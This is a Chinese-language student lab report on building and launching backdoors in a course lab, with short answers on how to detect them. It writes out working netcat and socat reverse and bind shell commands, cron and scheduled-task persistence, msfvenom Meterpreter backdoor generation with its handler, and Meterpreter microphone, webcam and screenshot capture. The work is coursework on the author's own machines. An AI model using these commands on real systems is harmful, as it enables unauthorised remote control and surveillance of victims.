20191223-Exp2-後門原理與實踐
實驗報告
姓名:張俊怡 學號:201191223 日期:2022/3/28
課程:網路對抗技術 實驗名稱:Exp2-後門原理與實踐
0 基礎知識
後門的概念
後門,本意是指一座建築背面開設的門,通常比較隱蔽,為進出建築的人提供方便和隱蔽。在資訊保安領域,後門是指繞過安全控制而獲取對程式或系統訪問權的方法。後門的最主要目的就是方便以後再次祕密進入或者控制系統。
後門的來源
- 主機上的後門來源主要有以下幾種:
攻擊者利用欺騙的手段,通過傳送電子郵件或者檔案,並誘使主機的操作員開啟或執行藏有木馬程式的郵件或檔案,這些木馬程式就會在主機上建立一個後門。
攻擊者攻陷一臺主機,獲得其控制權後,在主機上建立後門,比如安裝木馬程式,以便下一次入侵時使用。
還有一種後門是軟體開發過程中引入的。在軟體的開發階段,程式設計師常會在軟體內建立後門以方便測試或者修改程式中的缺陷,但在軟體釋出時,後門被有意或者無意忽視了,沒有被刪除,那麼這個軟體天生就存在後門,安裝該軟體的主機就不可避免的引入了後門。
常用後門工具
-
nc和netcat
nc(或 netcat)實用程式可用於與 TCP 或 UDP 相關的各種任務。nc 可以開啟 TCP 連線,傳送 UDP 資料包,偵聽任意 TCP 和 UDP 埠,執行埠掃描,以及處理 IPv4 和 IPv6。與 telnet(1) 不同,nc 精細地編寫指令碼,並將錯誤訊息分隔到標準錯誤中,而不是將錯誤訊息傳送到標準輸出。
Linux: 一般自帶netcat,"man netcat" 或"man nc"可檢視其使用說明。
Windows: 下載使用。 -
Meterpreter
一個用來生成後門程式的程式。
它包含著後門的
- 基本功能(基本的連線、執行指令)
擴充套件功能(如蒐集使用者資訊、安裝服務等功能)
編碼模式
執行平臺
執行引數
Meterpretershell作為滲透模組有很多有用的功能,比如新增一個使用者、隱藏一些東西、開啟shell、得到使用者密碼、上傳下載遠端主機的檔案、執行cmd.exe、捕捉螢幕、得到遠端控制權、捕獲按鍵資訊、清除應用程式、顯示遠端主機的系統資訊、顯示遠端機器的網路介面和IP地址等資訊。
1 實驗內容
(4分+2分附加題)
- (1)使用netcat獲取主機操作Shell,cron啟動 (1分)
(2)使用socat獲取主機操作Shell, 任務計劃啟動 (1分)
(3)使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell(1分)
(4)使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權 (1分)
(5)可選加分內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell(2分)加分內容一併寫入本實驗報告。
2 實驗過程
實驗環境
主機:windows 11
靶機:Kali Linux Debian 10
**在主機上用ipconfig
命令檢視主機ip
如圖所示,主機ip為172.30.6.218
在kali虛擬機器中檢視ip
如圖所示,kali虛擬機器的ip為:172.30.6.142
2.1 Win獲得Linux Shell
1)在windows命令列下輸入指令監聽1223埠(我的學號後四位).\ncat.exe -l -p 1223
2)在kali中使用nc指令連線主機的1223埠nc 172.30.6.218 1223 -e /bin/sh
3)windows下獲得一個linux shell,可執行任何指令,此例是ls
2.2 Linux獲得Win Shell
1)kali終端中輸入nc監聽1223埠nc -l -p 1223
2)windows主機下連線kali的1223埠ncat.exe -e cmd.exe 172.30.6.142 1223
3)kali下獲得一個windows shell,可執行任何指令,此例是dir
一、在虛擬機器中啟動cron並在主機監聽
1)在Windows下監聽8848埠ncat.exe -l -p 8848
2)在Kali虛擬機器下使用crontab指令增加定時任務
crontab指令的功能是增加一條定時任務,-e表示編輯,輸入2表示選擇vim編輯器
3)此時時間為16:06,在檔案最後一行新增10 * * * * /bin/netcat 172.30.6.218 8848 -e /bin/sh
10表示每時10分時則會自啟,連線主機172.30.6.218的8848埠
4)在每小時的10分,主機即可自動獲取到kali虛擬機器的shell
二、使用socat獲取主機操作Shell,任務計劃啟動
在Windows獲得Linux虛擬機器的Shell
1)在Windows中按Win+R
,再輸入compmgmt.msc
開啟計算機管理,也可直接搜尋
2)在系統工具中的任務計劃程式中建立任務
3)設定任務名稱,並新建觸發器和操作
- 觸發器設定為“工作站鎖定時”
- 操作設定為啟動程式socat.exe,並新增引數
tcp-listen:1223 exec:cmd.exe,pty,stderr
,這個命令的作用是把cmd.exe繫結到埠1223,同時把cmd.exe的stderr重定向。
4)建立完之後按下Windows+L
鎖定計算機(工作臺),再次開啟時由於已經關閉防火牆沒有彈出UAC警報
在Kali中輸入命令socat - tcp:172.30.6.218:1223
獲取到win的shell
三、使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell
更換了wifi,更新實驗環境
主機ip為 192.168.1.103
kali虛擬機器的ip為192.168.1.154
1)kali上執行如下指令生成後門程式20191223_backdoor.exe
輸入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=1223 -f exe > 20191223_backdoor.exe,其中
- LHOST為反彈回連的IP,在這裡是要反彈給Kali,也就是Kali的IP
LPORT是回連的埠
-p 使用的payload。
payload翻譯為有效載荷,就是被運輸有東西。這裡windows/meterpreter/reverse_tcp就是一段shellcode。
-f 生成檔案的型別 -
輸出到哪個檔案
2)在Windows 11主機上開啟監聽
在Kali上用nc 192.168.1.103 1223 < 20191223_backdoor.exe
將生成的20191223_backdoor.exe後門程式傳過去
3)在kali上使用msfconsole
指令進入msf控制檯
之後輸入如下指令進行配置
use exploit/multi/handler #使用監聽模組,設定payload
set payload windows/meterpreter/reverse_tcp #使用和生成後門程式時相同的payload
set LHOST 192.168.1.154 #KaliIP,和生成後門程式時指定的IP相同
set LPORT 1223 #設定的埠號
show options
5)輸入exploit
進行監聽,在Windows在開啟20191223_backdoor.exe後成功獲取到Windows的shell
四、使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
在MSF exploit中輸入record_mic指令進行錄音,此命令預設錄製預設麥克風錄製1秒鐘的音訊,-d :記錄的秒數,預設為1秒
獲取目標主機攝像頭
輸入webcam_snap
指令控制攝像頭進行拍照
輸入run webcam
可以進行螢幕錄製,相當於不間斷地用攝像頭拍照片,並不斷儲存在一個jpg中,在檔案系統中我們會看到一個在不斷變化的jpg檔案
獲取主機螢幕截圖
使用screenshot
指令可以進行截圖
如圖所示:
五、使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell
使用msfvenom-help
指令檢視msfvenom的幫助文件
選項-l,檢視所有msf可用的payload列表。裡面有526種payload,我們需要的payload功能是獲取反彈連線shell。
使用指令msfvenom -l payloads
可以檢視並找出我們需要的payloads
- 就是它linux/x86/meterpreter/reverse_tcp
問題來了,我們該怎樣使用它呢?應該加入什麼引數呢?
根據學習官方文件,使用指令msfvenom -p linux/x86/meterpreter/reverse_tcp --payload-options
檢視
根據引數說明
-
-x是可執行檔案模板,shellcode會寫入這個可執行檔案中(我們的模板是pwn1)
LHOST、LPORT是ip地址和埠,我們分別把它改為192.168.1.154(靶機的地址)和4444
-f是生成檔案的型別,我們把它改為二進位制可執行檔案elf -
接下來,開啟另一個終端,根據實驗一的步驟,設定堆疊可執行,地址隨機化;
修改後的payload為
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=4444 -x pwn1 -f elf > 20191223pwn
執行它
接下來,在靶機開啟埠4444,上執行生成的20191223pwn檔案
指令是nc -l -p 4444 -e 20191223pwn
然後在攻擊機上注入shellcode
指令是nc 192.168.1.154 4444 <(cat input_shellcode ;cat) |
成功獲得回彈的shell
六、基礎問題回答
1)例舉你能想到的一個後門進入到你係統中的可能方式?
答:瀏覽網站所附帶的軟體,或者在不正規的下載網站下載軟體;下載釣魚郵件裡面的附件。
2)例舉你知道的後門如何啟動起來(win及linux)的方式?
在windows下可以通過將後門啟動程式設定為開機啟動項或設定任務觸發的方式啟動後門,寫登錄檔自啟動項,使用windows下定時任務的命令at和schtasks;
在linux下, SSH軟連線後門(需要ssh配置允許PAM認證才能使用),實驗裡講的Crontab定時任務啟動,linux程序注入。
3)Meterpreter有哪些給你映像深刻的功能?
通過這次實驗,我第一次接觸到meterpreter,在開啟時會顯示由字元拼接起來的圖形,讓我眼前一亮;它的功能強大,可以通過指令來控制攝像頭、麥克風,可以擷取螢幕影象,這讓我感到不安,如果電腦被留下後門,我們的很多資訊就將洩露。
4)如何發現自己有系統有沒有被安裝後門?
可以使用Windows自帶的網路命令來看看誰在連線你的計算機。具體的命令格式是:netstat -an 這個命令能看到所有和本地計算機建立連線的IP;
可以通過“net start”來檢視系統中究竟有什麼服務在開啟,如果發現了不是自己開放的服務,我們就可以有針對性地禁用這個服務;
利用強大的程序工具lceSword (冰刃)檢視系統中的程序,其中紅色顯示的是可疑程序
實驗體會
這次實驗大體上比較順利,我掌握了nc的使用,感覺nc真是一個很強大的工具,它可以監聽入站連線、連線遠端系統、連線UDP埠、拷貝檔案、建立後門等等。作為資訊保安專業的學生,將來可能會從事安全方面的工作,所以掌握ncat/socat等工具的使用方法是很重要的,知己知彼才能百戰不殆嘛。
其次,實驗中遇到的問題有第三題,執行傳送的20191223_backdoor.exe檔案的時候,出現了不能執行的情況,查閱資料發現,可能是埠被佔用的原因,於是我使用指令netstat -ano|findstr"埠號“
找到了佔用埠的程序,記下程序號,然後把其kill掉,就能正常運行了。
我加深了對後門的理解。電腦後門一般是指那些繞過安全性控制而獲取對程式或系統訪問權的程式。這次實驗做的後門雖然比較簡單,但也是我第一次做後門程式,我通過後門控制虛擬機器完成了螢幕錄製、截圖、音訊錄製、攝像頭拍照等功能,繞過了正常程式(要關閉殺軟。。。)非法獲取資訊,這一系列操作讓我有很震撼的體會,讓我找到了學習後門的樂趣,同時也加深了我對後門程式的防範意識。